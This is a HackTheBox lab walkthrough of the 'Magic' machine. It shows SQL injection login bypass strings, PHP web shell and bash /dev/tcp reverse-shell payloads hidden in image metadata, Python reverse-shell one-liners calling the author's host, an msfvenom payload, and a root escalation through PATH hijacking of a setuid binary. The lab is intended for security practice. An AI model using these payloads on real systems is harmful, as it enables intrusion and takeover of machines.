HTB Magic Walkthrough

A technical walk through of the 'Magic' box on HackTheBox.

HTB Magic Walkthrough

Welcome to my technical walk through of the HTB Magic box!

Let's jump right in with an Nmap scan!

nmap -T4 -A -v -O 10.10.10.185

[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
[...]


Linux machine, only two open ports, I go get a look at the portal:

http://10.10.10.185/

It seems to be a simple portal with an image slider, I'm quite sure that somewhere there should be a section to upload the images and in fact there's a login link on the bottom left side. On the page, you can find a login form in php.

I think this box has a predictable direction; I suppose that here we have an SQL injection. To identify if the page is vulnerable to the SQL injection, you have to put a single apex on the fields of the form or a single apex followed by two minus sign to explain you have to insert on the username and password field ' or '--.

With surprise, this site is not only vulnerable to SQL injection, but we don't need either to insert the real string to bypass the form, that, for complete information, is ' OR '' = '. Anyway, we are in, go ahead. The page we show is exactly the upload page.

http://10.10.10.185/upload.php

For sure (I said, is predictable), we have to upload a reverse shell (in php) using the upload. I try with a simple php file changing the extension, but, probably there's a check on the MIME type. So I have to insert the reverse shell in a real image (allowed images is jpg, jpeg and png), but how? Searching on google "reverse shell into image php" I found this:

Proceed then.

exiftool -DocumentName="<h1>in7rud3r<br><?php if(isset(\$_REQUEST['cmd'])){echo '<pre>';\$cmd = (\$_REQUEST['cmd']);system(\$cmd);echo '</pre>';} __halt_compiler();?></h1>" image.jpeg


And it works... good, but let me try with something simplest and comfortable, like a real reverse shell.

exiftool -DocumentName="<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/10.10.15.126/4444 0>&1'\"); ?>" image.jpeg


I forgot, to launch the image and activate the php code inside it, the url on the portal is the following: http://10.10.10.185/images/uploads/image.php.jpeg (as you have seen on the video, the file have to be renamed with the "php" extension added between the name and the real extension).

Ok, launch a listener and navigate the image to open the shell.

in7rud3r@Mykali:~/Dropbox/hackthebox$ nc -lvp 4444
listening on [any] 4444 ...
10.10.10.185: inverse host lookup failed: Unknown host
connect to [10.10.15.219] from (UNKNOWN) [10.10.10.185] 57960
ls -l
total 8028
-rw-r--r-- 1 www-data www-data  560574 Apr 22 14:07 2.jpg
-rw-r--r-- 1 www-data www-data 5289209 Oct 22  2019 7.jpg
[...]
-rw-r--r-- 1 root     root      361568 Apr 14 04:56 trx.jpg
-rw-r--r-- 1 www-data www-data      48 Apr 22 14:42 x.php
ls -l /home/     
total 4
drwxr-xr-x 15 theseus theseus 4096 Apr 22 14:37 theseus
ls -l /home/theseus/
total 216
drwxr-xr-x 2 theseus theseus   4096 Oct 22  2019 Desktop
drwxr-xr-x 2 theseus theseus   4096 Oct 22  2019 Documents
[...]
-rwxrwxr-x 1 theseus theseus 133924 Apr 22 13:57 linpeas.sh
-r-------- 1 theseus theseus     33 Apr 22 13:59 user.txt
cat /home/theseus/user.txt


Mmmm, the cat command seems to not work properly. Could be possible that we have not the right privileges with that user (to inform you we are www-data user). I'd like to change the shell with another one, better than this one, but for now, go on. I start to search.

ls -l
total 40
drwxrwxr-x 6 www-data www-data 4096 Jun  6  2019 assets
-rw-r--r-- 1 www-data www-data  881 Oct 16  2019 db.php5
drwxr-xr-x 4 www-data www-data 4096 Apr 14 05:04 images
-rw-rw-r-- 1 www-data www-data 4528 Oct 22  2019 index.php
-rw-r--r-- 1 www-data www-data 5539 Oct 22  2019 login.php
-rw-r--r-- 1 www-data www-data   72 Oct 18  2019 logout.php
-rw-r--r-- 1 www-data www-data 4520 Oct 22  2019 upload.php
cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

[...]
            try
            {
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            }
[...]


What I find is a php file on the portal to connect to a mysql database, probably this credential is only for the database, but don't ignore possible lazy or junior system administrator. I try on the other open port (ssh).

in7rud3r@Mykali:~/Dropbox/hackthebox$ ssh [email protected]
The authenticity of host '10.10.10.185 (10.10.10.185)' can't be established.
ECDSA key fingerprint is SHA256:yx0Y6af8RGpG0bHr1AQtS+06uDomn1MMZVzpNaHEv0A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.185' (ECDSA) to the list of known hosts.
[email protected]: Permission denied (publickey).


No, this way is closed. I would try it on the reverse shell, but with this one, I cannot use the su command to interpret the user, so, I try another way, just to understand.

exiftool -DocumentName="<?php exec(\"sudo -u theseus -p iamkingtheseus /bin/bash -c 'bash -i > /dev/tcp/10.10.15.126/4444 0>&1'\"); ?>" image.jpeg


Yea, but don't work, so, I quite sure that is not the password of the machine user. Ok, I need a better shell, I understand that I can launch python command so...

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.219",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Let me share with you an interesting page where are collected an interesting set of shells!

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Ok, good, but... I cannot launch su command again, because I need a TTY shell... woo... ok... again. search and go on!

Spawning a TTY Shell

I hope this time I am on the right track. Like the previous one I launch this command on the original shell launched on using the image uploaded.

python3 -c 'import pty; pty.spawn("/bin/sh")'


Ok, I try the su command and confirm that this is not the password of the theseus user on the machine, but the password of the mysql user. Probably I can do something with this user, but when I launch the mysql command, nothing happens, it seems that there's not the toll. I try to locate it, but all the bin I found don't work. So, I list all the mysql command on the folder to understand what I can use.

$ find ./ -name "mysql*"
find ./ -name "mysql*"
./mysqloptimize
./mysqldump
./mysqladmin
./mysqlshow
./mysqld_safe
./mysqlbinlog
./mysqldumpslow
./mysqlcheck
./mysql_ssl_rsa_setup
./mysqlimport
./mysql_tzinfo_to_sql
./mysql_upgrade
./mysqlslap
./mysql_secure_installation
./mysqlrepair
./mysqlanalyze
./mysql_config_editor
./mysqld_multi
./mysql_plugin
./mysql_embedded
./mysql_install_db
./mysqlpump
./mysqlreport


I try to understand if the credential I found is valid for the mysql database:

$ mysqladmin --user=theseus --password=iamkingtheseus status
mysqladmin --user=theseus --password=iamkingtheseus status
mysqladmin: [Warning] Using a password on the command line interface can be insecure.
Uptime: 16367  Threads: 1  Questions: 20539  Slow queries: 0  Opens: 141  Flush tables: 1  Open tables: 134  Queries per second avg: 1.254


Yes, that's fine. I consult a few pages on the internet about the commands I have found, finally I chose to use the dump (mysqldump) command to export the database.

$ mysqldump --all-databases --user=theseus --password=iamkingtheseus > /tmp/tidb.sql   
mysqldump --all-databases --user=theseus --password=iamkingtheseus > /tmp/tidb.sql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
$ cat /tmp/tidb.sql
cat /tmp/tidb.sql
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database: 
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `Magic`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2020-04-23  3:31:45


Well done, another password, I'm quite sure this time is the password for the user theseus of the machine.

$ su theseus
su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/usr/bin$ cat /home/theseus/user.txt
cat /home/theseus/user.txt
5******************************2


And the first flag is done, going for the root.

To understand what I can do I download the lse.sh file (a script for linux that highlight the possible vulnerabilities of the machine) on the target machine, creating a simple web server on my machine with php tool.

To do this, on the local machine in the folder where you have downloaded the lse.sh file launch:

php -S 10.10.15.219:8000 -t ./


On the target machine, to get the file launch:

wget http://10.10.15.219:8000/lse.sh


The output of the lse.sh is long enough, here an extraction with the interesting part.

======================================================( file system )=====
[*] fst000 Writable files outside user's home........................ yes!
[*] fst010 Binaries with setuid bit.................................. yes!
[!] fst020 Uncommon setuid binaries.................................. yes!
---
/usr/bin/vmware-user-suid-wrapper
/bin/sysinfo
---
[!] fst030 Can we write to any setuid binary?........................ nope
[*] fst040 Binaries with setgid bit.................................. skip


As you can see I can start the sysinfo command in the bin folder and a suid wrapper for vmware. As interesting as the name of the vmware wrapper (suid) is, sysinfo attracts my attention. So, I go on the internet to study.

10 Useful Commands to Collect System and Hardware Information in Linux

Reading the list of command included in this tool (it give a large set of information), one of them attract me; on the description is written "Note: Do remember that the lshw command executed by superuser (root) or sudo user". I try to launch on the reverse shell I have already opened.

theseus@ubuntu:/tmp$ lshw
lshw
WARNING: you should run this program as super-user.
ubuntu                      
    description: Computer
    width: 64 bits
    capabilities: smp vsyscall32
  *-core
       description: Motherboard
       physical id: 0
[...]
             capabilities: pci normal_decode bus_master cap_list
             configuration: driver=pcieport
             resources: irq:55 memory:fb500000-fb5fffff ioport:e5c00000(size=1048576)
WARNING: output may be incomplete or inaccurate, you should run this program as super-user.


Ok, I have to create my custom lshw and replace or launch instead of the original one. My fake will be a reverse shell, so launched as root, when I connect I will root too. Well, my enphasis, bring me to search for complex things, so I go on google and search for "generate bin reverse shell linux msfvenom".

Generating Reverse Shell using Msfvenom (One Liner Payload)
in7rud3r@kali:~/Dropbox/hackthebox/_10.10.10.185 - Magic/attack$ msfvenom -p cmd/unix/reverse_bash lhost=10.10.15.219 lport=1111 R > lshw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 61 bytes


Uploaded (or downloaded from the remote machine) the fake lshw file, I start to try to replace with the original one, but I have no access to the original file I identify. So probably I have to say to the sysinfo to use another one (mine), but how? Google is always your friend. Searching for "set command in order to launch other application linux" I found this.

How to set your $PATH variable in Linux
Telling your Linux shell where to look for executable files is easy, and something everyone should be able to do.

Good, I have to try.

export PATH=/tmp:$PATH
sysinfo
sysinfo: Permission denied


Initially, I thought that I mistook something because the lshw file I create doesn't work correctly, so I decide to make the simplest shell, without using msfvenom (I said simplest too many times in this tutorial, this should teach me something). So I create an executable file with a shell that I already used and that I know that works.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.219",1111));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Finally, when I launch the sysinfo, on my local machine...

in7rud3r@Mykali:~/Dropbox/hackthebox/_10.10.10.185 - Magic/attack$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.15.219] from (UNKNOWN) [10.10.10.185] 43784
# ls -l
total 8
-rwxr-xr-x 1 theseus theseus 230 Apr 23 13:15 lshw
-rwxr-xr-x 1 theseus theseus  61 Apr 23 13:10 lshw-old
# whoami
root
# cat /root/root.txt
3******************************6


And that's all, thanks, see you on the next walkthrough!

The awesome image used in this article is called Submission and was created by RONLEWHORN.